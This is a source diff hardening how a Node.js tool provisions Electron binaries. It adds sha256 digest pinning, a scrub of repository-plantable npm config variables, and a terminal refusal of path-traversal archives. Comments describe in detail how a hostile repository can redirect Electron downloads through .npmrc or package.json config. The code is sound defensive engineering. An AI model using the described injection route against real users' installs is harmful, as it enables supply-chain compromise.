  // verify below; we always return isElectronUsable().
280
- try { runInstaller({ electronDir, force, spawn }); } catch { /* ignore */ }
275
+ try { runInstaller({ electronDir, force, spawn, platform, arch }); } catch { /* ignore */ }
281
276
  }
282
277
  // A NON-throwing controlled extract that left no usable exe is the
283
- // AV-quarantine signature — surface it actionably (no false success, no
284
- // loop). A controlled FAILURE only reports plain repaired:false.
285
- if (controlledExtracted) { return verifyExtractOutcome({ electronDir, platform, fs }); }
286
- return { repaired: isElectronUsable({ electronDir, platform, fs }) };
278
+ // AV-quarantine signature — surface it actionably (no false success, no loop).
279
+ const out = controlledExtracted
280
+ ? verifyExtractOutcome({ electronDir, platform, fs })
281
+ : { repaired: isElectronUsable({ electronDir, platform, fs }) };
282
+ // A refusal the download did not rescue must reach doctor and the postinstall
283
+ // notice; plain {repaired:false} is what made a REFUSED artifact read as an
284
+ // ordinary "not provisioned" everywhere outside the cacheOnly path.
285
+ if (!out.repaired && refusal) { return { ...out, integrity: refusal.integrity, reason: [refusal.reason, out.reason].filter(Boolean).join(' ') }; }
286
+ return out;
287
287
  } finally {
288
288
  try { lock.release(); } catch { /* ignore */ }
289
289
  }
@@ -0,0 +1,179 @@
1
+ /**
2
+ * Electron CONTROLLED provision — the pinned download, and what happens to a
3
+ * cached artifact the digest gate refuses.
4
+ *
5
+ * Split out of electron-install.js because that file sits at the repo's 300-line
6
+ * gate and cannot grow. The require arrow is
7
+ * electron-install -> electron-provision -> electron-trust and must never point
8
+ * back, so `extractFromCache` arrives as an argument rather than an import.
9
+ *
10
+ * @module sidecar/electron-provision
11
+ */
12
+
13
+ 'use strict';
14
+
15
+ const path = require('path');
16
+
17
+ const { resolveCacheRoots } = require('./electron-cache');
18
+ const { artifactFileName, expectedDigest } = require('./electron-trust');
19
+ const { containsOnDisk } = require('../utils/path-fence');
20
+
21
+ /** Best-effort cache root for downloadArtifact (first resolved root). */
22
+ function cacheRootFor(env = process.env) {
23
+ return resolveCacheRoots(env)[0];
24
+ }
25
+
26
+ /**
27
+ * CONTROLLED provision: fetch the zip ourselves with the SAME @electron/get
28
+ * api install.js uses (downloadArtifact, force:true), extract offline, and let
29
+ * the caller verify isElectronUsable(). No blind install.js spawn.
30
+ *
31
+ * C1 — THE PIN. `checksums` is what breaks the attack chain. Supplied, it makes
32
+ * @electron/get write a LOCAL SHASUMS256.txt from this table and never fetch one
33
+ * from the mirror, so a redirected download still has to produce bytes matching
34
+ * electron's own published sha256. Passed as the ONE entry for this artifact:
35
+ * an empty table is a hard throw upstream, and a table missing the requested
36
+ * name fails the download outright — which is why no anchor means no `checksums`
37
+ * key at all rather than an empty one. With no anchor, @electron/get falls back
38
+ * to its own remote SHASUMS256.txt fetch: weaker, but never a re-download loop.
39
+ *
40
+ * THE HATCH REACHES THIS ROUTE TOO. `AMICUS_ALLOW_UNVERIFIED_ELECTRON=1` used to
41
+ * be handed only to the cached-artifact gate, so the one case both docs describe
42
+ * — a machine whose electron bytes legitimately differ (a local rebuild, an
43
+ * internally-signed build on a corporate mirror) — still had its download pinned
44
+ * to the official digest and failed. MEASURED before this change: with the hatch
45
+ * set and nothing in any cache root, `checksums` was still sent and the call
46
+ * returned `{repaired:false}` with no reason at all. When the hatch is set the
47
+ * pin is dropped here and @electron/get falls back to the mirror's own
48
+ * SHASUMS256.txt, which is what a rebuild publishes. That is a real downgrade,
49
+ * so it is stated out loud on stderr every time rather than happening quietly —
50
+ * and it is reachable ONLY through a bare env name a repository cannot plant.
51
+ * @returns {Promise<void>}
52
+ */
53
+ async function controlledProvision({
54
+ electronDir, platform, arch, version, anchor, downloadArtifact, extract, extractFromCache,
55
+ fs, env = process.env, downloadMs = 480000, policy = {}, log = () => {},
56
+ }) {
57
+ const fileName = artifactFileName({ version, platform, arch });
58
+ let digest = expectedDigest(anchor, fileName);
59
+ if (digest && policy.allowUnverified) {
60
+ log('[amicus] WARNING: AMICUS_ALLOW_UNVERIFIED_ELECTRON=1 — downloading without the published');
61
+ log(`[amicus] sha256 pin for ${fileName}; its digest comes from the mirror you are using.`);
62
+ digest = null;
63
+ }
64
+ const zip = await downloadArtifact({
65
+ version,
66
+ artifactName: 'electron',
67
+ force: true,
68
+ cacheRoot: cacheRootFor(env),
69
+ platform,
70
+ arch,
71
+ ...(digest ? { checksums: { [fileName]: digest } } : {}),
72
+ downloadOptions: { signal: AbortSignal.timeout(downloadMs) }, // 5.x native fetch: bound stalled downloads, free the lock
73
+ });
74
+ await extractFromCache({ zip, electronDir, platform, extract, fs });
75
+ }
76
+
77
+ /**
78
+ * May this refused artifact be deleted? STRICTLY NARROWER than the unconditional
79
+ * `fs.rmSync` on the corrupt-extract path: the basename must be exactly the
80
+ * artifact we asked for, AND the file must resolve inside a resolved cache root.
81
+ * `containsOnDisk` realpaths both sides and returns false on any error, so an
82
+ * unresolvable path is refused rather than trusted — deleting at an
83
+ * attacker-influenceable path is the one thing a poisoned cache could otherwise
84
+ * turn into a weapon.
85
+ *
86
+ * Cost if it returns a wrong false: the mismatched zip stays and is re-downloaded
87
+ * once per provision. An availability cost, never a safety one — the gate above
88
+ * still refuses to extract it.
89
+ */
90
+ function mayDeleteRejectedZip({ zip, fileName, env = process.env }) {
91
+ if (path.basename(zip) !== fileName) { return false; }
92
+ return resolveCacheRoots(env).some((root) => containsOnDisk(root, zip));
93
+ }
94
+
95
+ /**
96
+ * Act on a REFUSED cached artifact: remove the poison when it is safe to, say
97
+ * plainly what happened, and hand back the result shape a cacheOnly caller
98
+ * returns. Deletion happens ONLY on `mismatch` — a `no-digest` artifact is not
99
+ * evidence of anything, and an `unreadable` one is a file we could not even hash.
100
+ * @returns {{repaired:false, integrity:string, reason:string}}
101
+ */
102
+ function rejectCachedZip({ gate, zip, fileName, env = process.env, fs, log = () => {} }) {
103
+ let removed = false;
104
+ if (gate.verdict === 'mismatch' && mayDeleteRejectedZip({ zip, fileName, env })) {
105
+ try {
106
+ fs.rmSync(zip, { force: true });
107
+ removed = true;
108
+ } catch { /* a cache we cannot write is not a reason to fail the repair */ }
109
+ }
110
+ const what = gate.verdict === 'mismatch'
111
+ ? `sha256 ${gate.actual} does not match the published ${gate.expected}`
112
+ : gate.reason;
113
+ log(`[amicus] Electron artifact REFUSED: ${fileName}`);
114
+ log(`[amicus] ${zip}`);
115
+ log(`[amicus] ${what}`);
116
+ log('[amicus] This is what a swapped mirror or a planted cache file looks like. It is ALSO');
117
+ log('[amicus] what a truncated download, a failing disk, or a mirror serving a REBUILT');
118
+ log('[amicus] electron looks like — amicus cannot tell them apart.');
119
+ // ORDER MATTERS. The advice comes BEFORE the removal notice, and says what to
120
+ // do about a file that is already gone: a hand-seeded air-gapped cache is the
121
+ // one place the refused artifact was also the ONLY copy, and being told about
122
+ // the hatch after "The file has been removed." is being told too late to use
123
+ // it. The delete itself is required (a poisoned zip must not survive to be
124
+ // re-offered); the words around it are what make it recoverable.
125
+ log('[amicus] If you deliberately run a REBUILT electron, set');
126
+ log('[amicus] AMICUS_ALLOW_UNVERIFIED_ELECTRON=1 BEFORE provisioning again — it accepts these');
127
+ log('[amicus] bytes on the cache path and drops the digest pin on the download path.');
128
+ log(`[amicus] ${removed
129
+ ? 'The file has been removed: re-copy it from the machine that downloaded it (or let'
130
+ + '\n[amicus] amicus download it again) once that variable is set.'
131
+ : 'The file was left in place.'}`);
132
+ log('[amicus] Headless runs and the council work without the GUI.');
133
+ return {
134
+ repaired: false,
135
+ integrity: gate.verdict,
136
+ reason: `Cached electron artifact ${fileName} was REFUSED: ${what}.`
137
+ + `${removed ? ' It has been removed.' : ' It was left in place.'}`,
138
+ };
139
+ }
140
+
141
+ /** The terminal path-traversal refusal `robustExtract` throws (unzip.js C4). */
142
+ function isUnsafeArchive(err) {
143
+ return !!err && err.code === 'UNZIP_UNSAFE_ARCHIVE';
144
+ }
145
+
146
+ /**
147
+ * C4 AT THE CALL SITE. unzip.js classifies extract-zip's path-traversal refusals
148
+ * as terminal so the same archive is never handed to an OS extractor that has no
149
+ * such check. That invariant held only INSIDE unzip.js: both of repairElectron's
150
+ * catch blocks used to swallow the refusal without reading `err.code` and launder
151
+ * it back into exactly the retry the control forbids — the network path spawned
152
+ * `node <electronDir>/install.js`, which re-downloads and re-extracts through
153
+ * @electron-internal/extract-zip with no amicus supervision (the forbidden move,
154
+ * one stack frame up), and the cache path deleted the zip through the UNFENCED
155
+ * `fs.rmSync` and told the user it "was corrupt and removed" — a security refusal
156
+ * reported as corruption. MEASURED both, before this change.
157
+ *
158
+ * So the refusal ends here: no retry, no fallback extractor, and no delete. The
159
+ * archive is left where it is, because a refused archive is evidence, and
160
+ * `err.message` already carries the path and extract-zip's own reason.
161
+ * @returns {{repaired:false, integrity:'unsafe-archive', reason:string}}
162
+ */
163
+ function refuseUnsafeArchive({ err, fileName, log = () => {} }) {
164
+ const detail = (err && err.message) || 'the archive tried to write outside its destination';
165
+ log(`[amicus] Electron artifact REFUSED (unsafe archive): ${fileName}`);
166
+ log(`[amicus] ${detail}`);
167
+ log('[amicus] Entries in that zip tried to write OUTSIDE the destination directory. amicus');
168
+ log('[amicus] will not retry it with another extractor, and has left the file in place.');
169
+ log('[amicus] Headless runs and the council work without the GUI.');
170
+ return {
171
+ repaired: false,
172
+ integrity: 'unsafe-archive',
173
+ reason: `Electron artifact ${fileName} was REFUSED: ${detail}. It was NOT retried and NOT removed.`,
174
+ };
175
+ }
176
+
177
+ module.exports = {
178
+ cacheRootFor, controlledProvision, mayDeleteRejectedZip, rejectCachedZip, isUnsafeArchive, refuseUnsafeArchive,
179
+ };
@@ -0,0 +1,299 @@
1
+ /**
2
+ * Electron artifact TRUST core — the digest anchor, the gate, and the env scrub.
3
+ *
4
+ * A hostile REPOSITORY (a clone the user opens, an unpacked sample) controls the
5
+ * `.npmrc` and `package.json` of the directory amicus's own docs tell people to
6
+ * run `npx -y amicus@latest` in. MEASURED (npm 11.16.0): that reaches the child
7
+ * as exactly two name shapes — `npm_config_<key lowercased>` and
8
+ * `npm_package_config_<key case-preserved>` — and NOTHING else. Bare `ELECTRON_*`
9
+ * and `AMICUS_*` names are out of its reach. THAT is the trust boundary this
10
+ * module encodes: the escape hatch can be a plain environment variable, and a
11
+ * machine-level `ELECTRON_MIRROR` can still be honoured, precisely because a
12
+ * repository cannot write either one.
13
+ *
14
+ * The control is the DIGEST, not the URL. Supplying `checksums` to
15
+ * `downloadArtifact` makes `@electron/get` write a LOCAL `SHASUMS256.txt` and
16
+ * never fetch one from the mirror (@electron/get 5.0.0, dist/index.js, lines
17
+ * 28-40), so an attacker who redirects the download still has to produce bytes that match
18
+ * electron's own published sha256. Blocking the URL itself is defence in depth on
19
+ * top of a control that already works, and is deliberately NOT built here.
20
+ *
21
+ * LEAF MODULE: `crypto` + `path` + `fs` and nothing from this repo. The arrow is
22
+ * electron-install -> electron-provision -> electron-trust and must never point
23
+ * back; src/utils/path-fence.js:11-17 records what a cycle does to a destructured
24
+ * import in exactly this cluster.
25
+ *
26
+ * @module sidecar/electron-trust
27
+ */
28
+
29
+ 'use strict';
30
+
31
+ const crypto = require('crypto');
32
+ const fsDefault = require('fs');
33
+ const path = require('path');
34
+
35
+ /**
36
+ * Env-name PREFIXES an untrusted REPOSITORY can plant. MEASURED, npm 11: a repo
37
+ * .npmrc key `k` reaches an `npm run` / `npm exec` child as
38
+ * `npm_config_<k lowercased>`; a repo package.json "config" key `k` reaches it as
39
+ * `npm_package_config_<k>` with case preserved. Nothing else.
40
+ *
41
+ * PREFIXES, not a hand-maintained name list. Two prefixes cover every
42
+ * `@electron/get` mirror knob in each repo-reachable spelling, plus electron's
43
+ * own `npm_config_electron_use_remote_checksums` (electron's install.js, lines
44
+ * 47-50 — that name turns electron's bundled pin OFF), plus any knob a future
45
+ * @electron/get adds in the same namespace. Contrast ENGINE_CREDENTIAL_ENV
46
+ * (scripts/run-integration-keyless.js:101), whose own docblock warns that nothing
47
+ * makes a name list follow an upstream bump.
48
+ *
49
+ * The BARE `electron_use_remote_checksums` is deliberately NOT removed: a bare
50
+ * lower-case name is not repo-injectable, so it carries the machine owner's
51
+ * intent, exactly like a bare `ELECTRON_MIRROR`.
52
+ *
53
+ * MATCHED CASE-INSENSITIVELY. This used to fold no case, on the claim that
54
+ * because the Windows environment block is case-insensitive, deleting the
55
+ * lower-case name also removed the `NPM_CONFIG_ELECTRON_*` view @electron/get
56
+ * reads second. That is true of `process.env` and FALSE of the `{...env}` PLAIN
57
+ * OBJECT this module actually deletes from — a plain object is case-sensitive on
58
+ * every platform, so the upper-case key survived and was handed to the child.
59
+ * RE-MEASURED (npm 11.16.0, Windows 11) — two ways a repository reaches an
60
+ * upper-case slot:
61
+ * 1. `.npmrc` `electron_mirror=…` while `NPM_CONFIG_ELECTRON_MIRROR` already
62
+ * exists in the environment: npm overwrites that slot's VALUE and never
63
+ * renames it, so the child sees the ATTACKER's URL under the upper-case name.
64
+ * 2. `package.json` `"config": {"ELECTRON_MIRROR": …}`: npm PRESERVES the key's
65
+ * case, planting `npm_package_config_ELECTRON_MIRROR` with nothing
66
+ * pre-existing at all — and @electron/get's own lookup for
67
+ * `npm_package_config_electron_mirror` (dist/artifact-utils.js, line 28) finds it,
68
+ * because the Windows lookup is case-insensitive too.
69
+ * The old docblock's POSIX half (`NPM_CONFIG_ELECTRON_*` is a distinct variable
70
+ * npm never writes there, so it is the machine owner's) is NOT measurable from
71
+ * this machine, and it is load-bearing in the fail-OPEN direction: wrong, it
72
+ * hands the child an attacker's mirror. Wrong the other way it costs one
73
+ * alternate spelling inside a last-resort spawn, while bare `ELECTRON_MIRROR`
74
+ * — which @electron/get ranks FIRST — still carries owner intent. So the fold is
75
+ * unconditional rather than resting on an unverified platform claim.
76
+ */
77
+ const REPO_ENV_PREFIXES = ['npm_config_electron_', 'npm_package_config_electron_'];
78
+
79
+ /** electron's install.js, lines 20-21 and 99 — these choose WHICH artifact it
80
+ * fetches, and `.npmrc` `platform=`/`arch=` plants both. Same case fold. */
81
+ const ELECTRON_INSTALL_TARGET_ENV = ['npm_config_platform', 'npm_config_arch'];
82
+
83
+ /** A published sha256 is 64 LOWER-case hex characters. Anything else is not an anchor. */
84
+ const HEX64 = /^[0-9a-f]{64}$/;
85
+
86
+ /** Leading 'v' applied exactly once — matches @electron/get's normalizeVersion. */
87
+ function normalizeV(version) {
88
+ const v = String(version || '');
89
+ return v.startsWith('v') ? v : `v${v}`;
90
+ }
91
+
92
+ /** True for a name a hostile repository could have planted, in ANY case (see above). */
93
+ function isRepoPlantedName(name) {
94
+ const lower = String(name).toLowerCase();
95
+ return REPO_ENV_PREFIXES.some((prefix) => lower.startsWith(prefix))
96
+ || ELECTRON_INSTALL_TARGET_ENV.includes(lower);
97
+ }
98
+
99
+ /**
100
+ * The amicus-namespaced trust policy. THE ONLY place the escape hatch is read.
101
+ * Never reads npm_config_* / npm_package_config_* / NPM_CONFIG_* — those are the
102
+ * attacker's channel, and a rule that read its own writer's surface would be no
103
+ * rule at all.
104
+ *
105
+ * `allowUnverified` is true for the string '1' and NOTHING else — 'true', 'yes',
106
+ * ' 1' are all false. A hatch that fails open on a typo is not a hatch.
107
+ * @param {NodeJS.ProcessEnv} [env]
108
+ * @returns {{ allowUnverified: boolean }}
109
+ */
110
+ function electronTrustPolicy(env = process.env) {
111
+ return { allowUnverified: env.AMICUS_ALLOW_UNVERIFIED_ELECTRON === '1' };
112
+ }
113
+
114
+ /** `electron-v43.1.1-win32-x64.zip`. Matches BOTH electron's checksums.json keys
115
+ * and @electron/get's getArtifactFileName + normalizeVersion. */
116
+ function artifactFileName({ version, platform, arch }) {
117
+ return `electron-${normalizeV(version)}-${platform}-${arch}.zip`;
118
+ }
119
+
120
+ /**
121
+ * The electron package THIS amicus resolves — resolveAnchor rung 1. Duplicated
122
+ * (not imported from electron-install.defaultElectronDir) so this module stays a
123
+ * leaf and the require arrow keeps pointing one way.
124
+ * @returns {string|null}
125
+ */
126
+ function selfElectronPackageDir() {
127
+ try {
128
+ return path.dirname(require.resolve('electron/package.json'));
129
+ } catch {
130
+ return null;
131
+ }
132
+ }
133
+
134
+ /** Parse one checksums.json into a table of ONLY well-formed rows. Never throws. */
135
+ function readChecksumTable(file, fs) {
136
+ try {
137
+ const parsed = JSON.parse(fs.readFileSync(file, 'utf-8'));
138
+ if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) { return null; }
139
+ const table = {};
140
+ for (const [name, digest] of Object.entries(parsed)) {
141
+ if (typeof digest === 'string' && HEX64.test(digest)) { table[name] = digest; }
142
+ }
143
+ return Object.keys(table).length > 0 ? table : null;
144
+ } catch {
145
+ return null;
146
+ }
147
+ }
148
+
149
+ /**
150
+ * Resolve the digest ANCHOR, offline. Precedence, highest first:
151
+ * 1. <selfElectronDir>/checksums.json — the RUNNING amicus's own table.
152
+ * 2. <electronDir>/checksums.json — ONLY when rung 1 offers no usable table.
153
+ *
154
+ * RUNG 1 IS LOAD-BEARING, not a convenience. `doctor --fix`
155
+ * (src/utils/doctor-electron-mcp-check.js:122-137) hands `repairElectron` an
156
+ * electronDir found by a FILESYSTEM SCAN of npx caches, so rung 2 on its own
157
+ * would read the anchor out of the same untrusted directory the bytes came from
158
+ * — the pin would vouch for the attacker's own zip. Rung 1 is the same published
159
+ * data out of a tree npm installed for amicus itself, before any hostile
160
+ * directory was visited.
161
+ *
162
+ * WHY RUNG 1 NO LONGER TESTS THE VERSION. It used to apply only when the self
163
+ * package's version equalled the requested one — but the requested `version` is
164
+ * itself read out of `<electronDir>/package.json` whenever the caller supplies
165
+ * none (electron-install.js `if (!version)`), and the ONE production caller,
166
+ * doctor --fix, supplies none. MEASURED on this tree: a planted
167
+ * `{"version":"99.0.0"}` demoted rung 1 by DATA alone, the scanned tree's own
168
+ * checksums.json then vouched for its own bytes, and repairElectron returned
169
+ * `{repaired:true}` after extracting POISONED-BYTES. A rule that reads its own
170
+ * selector off the surface it exists to distrust is not a rule. No version check
171
+ * is needed to keep a genuine version disagreement honest, because the table is
172
+ * keyed by the FULL artifact filename: a self table for 43.1.1 simply holds no
173
+ * `electron-v99.0.0-…zip` row, `expectedDigest` returns null, and the gate's
174
+ * `no-digest` verdict extracts-and-MARKS exactly as the brief requires — never a
175
+ * refusal, never a re-download loop.
176
+ *
177
+ * Rung 2 therefore survives for exactly one case: amicus's own electron package
178
+ * ships no readable checksums.json (an old electron, or the optionalDependency
179
+ * never installed). There the target's table is all there is, and it is still
180
+ * better than nothing against a truncated download.
181
+ *
182
+ * Pass `selfElectronDir: null` to disable rung 1.
183
+ * NEVER THROWS. Rejects a table whose values are not 64 lower-case hex.
184
+ * @returns {{ table: Record<string,string>, source: string } | null}
185
+ */
186
+ function resolveAnchor({ electronDir, fs = fsDefault, selfElectronDir } = {}) {
187
+ const self = selfElectronDir === undefined ? selfElectronPackageDir() : selfElectronDir;
188
+ for (const dir of [self, electronDir]) {
189
+ if (!dir) { continue; }
190
+ const source = path.join(dir, 'checksums.json');
191
+ const table = readChecksumTable(source, fs);
192
+ if (table) { return { table, source }; }
193
+ }
194
+ return null;
195
+ }
196
+
197
+ /** @returns {string|null} the 64-hex digest for one artifact, or null. */
198
+ function expectedDigest(anchor, fileName) {
199
+ if (!anchor || !anchor.table) { return null; }
200
+ const digest = anchor.table[fileName];
201
+ return typeof digest === 'string' && HEX64.test(digest) ? digest : null;
202
+ }
203
+
204
+ /** Chunked sha256 (1 MiB buffer, openSync/readSync). SYNC so it composes with
205
+ * repairElectron's injected `fs`; chunked so a ~170 MB zip is never buffered whole. */
206
+ function sha256File(file, fs = fsDefault) {
207
+ const hash = crypto.createHash('sha256');
208
+ const buffer = Buffer.alloc(1024 * 1024);
209
+ const fd = fs.openSync(file, 'r');
210
+ try {
211
+ let read = fs.readSync(fd, buffer, 0, buffer.length, null);
212
+ while (read > 0) {
213
+ hash.update(buffer.subarray(0, read));
214
+ read = fs.readSync(fd, buffer, 0, buffer.length, null);
215
+ }
216
+ } finally {
217
+ try { fs.closeSync(fd); } catch { /* already closed */ }
218
+ }
219
+ return hash.digest('hex');
220
+ }
221
+
222
+ /**
223
+ * THE GATE. NEVER THROWS. `allowed` is the single decision bit callers act on.
224
+ *
225
+ * @returns {{verdict:'verified', allowed:true, actual:string}
226
+ * | {verdict:'mismatch', allowed:boolean, expected:string, actual:string}
227
+ * | {verdict:'no-digest', allowed:true}
228
+ * | {verdict:'unreadable', allowed:false, reason:string}}
229
+ *
230
+ * `no-digest` is ALLOWED and merely marked. An electron package that predates
231
+ * `checksums.json` has no anchor through no fault of its own, and refusing it
232
+ * would push that machine into a permanent re-download loop for a file no
233
+ * download can improve.
234
+ *
235
+ * `unreadable` is refused whatever the policy says: bytes that cannot be hashed
236
+ * cannot be extracted either, so there is nothing to fail open to.
237
+ */
238
+ function verifyArtifact({ zip, anchor, fileName, policy = {}, fs = fsDefault, log = () => {} }) {
239
+ const expected = expectedDigest(anchor, fileName);
240
+ if (!expected) {
241
+ log(`[amicus] NOTE: no published sha256 for ${fileName} (this electron package ships no`);
242
+ log('[amicus] checksums.json entry for it), so its bytes could not be verified.');
243
+ return { verdict: 'no-digest', allowed: true };
244
+ }
245
+ let actual;
246
+ try {
247
+ actual = sha256File(zip, fs);
248
+ } catch (e) {
249
+ return { verdict: 'unreadable', allowed: false, reason: `could not hash ${fileName}: ${(e && e.message) || e}` };
250
+ }
251
+ if (actual === expected) { return { verdict: 'verified', allowed: true, actual }; }
252
+ if (policy.allowUnverified) {
253
+ log(`[amicus] WARNING: AMICUS_ALLOW_UNVERIFIED_ELECTRON=1 — accepting ${fileName} even though`);
254
+ log(`[amicus] its sha256 ${actual} does not match the published ${expected}.`);
255
+ log('[amicus] Unset that variable to fail closed.');
256
+ return { verdict: 'mismatch', allowed: true, expected, actual };
257
+ }
258
+ return { verdict: 'mismatch', allowed: false, expected, actual };
259
+ }
260
+
261
+ /**
262
+ * A COPY of env for the runInstaller SPAWN. Never mutates the argument.
263
+ *
264
+ * electron's own install.js honours `npm_config_electron_mirror` (through
265
+ * @electron/get) AND `npm_config_electron_use_remote_checksums` (its lines 47-50,
266
+ * which turns its bundled pin off), so spawning it with an unfiltered
267
+ * `{...process.env}` would funnel a blocked attacker straight into an unpinned
268
+ * downloader. `npm_config_platform` / `npm_config_arch` (its lines 20-21 and 99)
269
+ * choose WHICH artifact it fetches, so they are removed too and amicus's own
270
+ * resolution is pinned through `ELECTRON_INSTALL_PLATFORM`/`_ARCH`, which
271
+ * install.js ranks above them.
272
+ *
273
+ * LEAVES ALONE, deliberately — every one of these is a BARE name a repository
274
+ * cannot plant, so it is the machine owner's: `ELECTRON_MIRROR`,
275
+ * `ELECTRON_CUSTOM_*`, `electron_config_cache`, `ELECTRON_CACHE`,
276
+ * `electron_use_remote_checksums`, `HTTP_PROXY`/`HTTPS_PROXY`/`ELECTRON_GET_USE_PROXY`.
277
+ */
278
+ function scrubbedChildEnv({ env = process.env, platform, arch } = {}) {
279
+ const out = { ...env };
280
+ for (const name of Object.keys(out)) {
281
+ if (isRepoPlantedName(name)) { delete out[name]; }
282
+ }
283
+ if (platform) { out.ELECTRON_INSTALL_PLATFORM = platform; }
284
+ if (arch) { out.ELECTRON_INSTALL_ARCH = arch; }
285
+ return out;
286
+ }
287
+
288
+ module.exports = {
289
+ electronTrustPolicy,
290
+ resolveAnchor,
291
+ expectedDigest,
292
+ verifyArtifact,
293
+ sha256File,
294
+ artifactFileName,
295
+ scrubbedChildEnv,
296
+ normalizeV,
297
+ REPO_ENV_PREFIXES,
298
+ ELECTRON_INSTALL_TARGET_ENV,
299
+ };
@@ -17,6 +17,8 @@
17
17
  * the exact electron zip the field box choked on.
18
18
  * 3. Only report success when files actually landed on disk. The electron
19
19
  * exe-stat verify stays upstream (electron-quarantine.verifyExtractOutcome).
20
+ * Layer 2 has ONE exception: a path-traversal REFUSAL is terminal and is never
21
+ * retried natively (UNSAFE_PATTERNS below).
20
22
  *
21
23
  * Everything network/spawn/timer-facing is dependency-INJECTABLE so tests never
22
24
  * hit the real clock, spawn a real process, or extract a real binary.
@@ -28,6 +30,32 @@ const path = require('path');
28
30
  const fsDefault = require('fs');
29
31
  const { spawnSync } = require('child_process');
30
32
 
33
+ /**
34
+ * A SECURITY REFUSAL IS A REFUSAL, NOT A RETRY (M9).
35
+ *
36
+ * Strategy 1 used to collapse a stall, a plain throw, and extract-zip's / yauzl's
37
+ * own path-traversal refusals into ONE branch that cleans the directory and re-runs
38
+ * the IDENTICAL archive through OS extractors amicus does not control — laundering
39
+ * a "this archive tried to escape its directory" into an unsupervised retry.
40
+ *
41
+ * These four strings are verified against the installed versions:
42
+ * extract-zip@2.0.1 raises `Out of bound path "<dir>" found while processing file <n>`
43
+ * yauzl@2.10.0 validateFileName returns the other three, raised as new Error(msg).
44
+ * NOTE: with strictFileNames unset (extract-zip's default) yauzl rewrites
45
+ * backslashes before validating, so `invalid characters in fileName: ` is not
46
+ * reachable through extract-zip today. Classified anyway — it costs one line and
47
+ * yauzl's defaults can change.
48
+ *
49
+ * DELIBERATELY NARROW. A stall must still fall back, or the Node-24 workaround
50
+ * this whole module exists for is destroyed.
51
+ */
52
+ const UNSAFE_PATTERNS = [
53
+ /^Out of bound path /,
54
+ /^absolute path: /,
55
+ /^invalid relative path: /,
56
+ /^invalid characters in fileName: /,
57
+ ];
58
+
31
59
  // No-progress window: if extract-zip reports no new entry for this long AND has
32
60
  // not settled, treat it as the silent stall. Reset on every onEntry so a slow-
33
61
  // but-progressing extract is never falsely aborted.
@@ -162,6 +190,8 @@ function runExtractZipBounded({ zip, dir, onEntry, extractZip, idleMs, maxMs, se
162
190
  * @param {object} [opts.deps] injected { fs, extractZip, spawn, setTimeout, clearTimeout, log }
163
191
  * @returns {Promise<{strategy:string, fallback?:boolean, extractZipReason?:string}>}
164
192
  * @throws {Error} code 'UNZIP_ALL_FAILED' when no strategy produced files.
193
+ * @throws {Error} code 'UNZIP_UNSAFE_ARCHIVE' when the archive was REFUSED for a
194
+ * path-traversal attempt — terminal, with no native retry (see UNSAFE_PATTERNS).
165
195
  */
166
196
  async function robustExtract(zip, opts = {}) {
167
197
  const {
@@ -202,6 +232,16 @@ async function robustExtract(zip, opts = {}) {
202
232
  return { strategy: 'extract-zip' };
203
233
  }
204
234
 
235
+ // TERMINAL: the archive was REFUSED for trying to write outside `dir`. Never
236
+ // cleanDir (the partial output is evidence), never fall back — handing the same
237
+ // archive to tar/Expand-Archive would ask a tool with no such check to do what
238
+ // extract-zip just declined to.
239
+ if (!z.ok && UNSAFE_PATTERNS.some((p) => p.test(z.reason || ''))) {
240
+ const err = new Error(`refusing to extract ${zip}: ${z.reason}`);
241
+ err.code = 'UNZIP_UNSAFE_ARCHIVE';
242
+ throw err;
243
+ }
244
+
205
245
  // extract-zip stalled / threw / produced nothing → clean partial output, go native.
206
246
  const zipReason = z.ok ? 'extract-zip produced no files' : z.reason;
207
247
  cleanDir(fs, dir);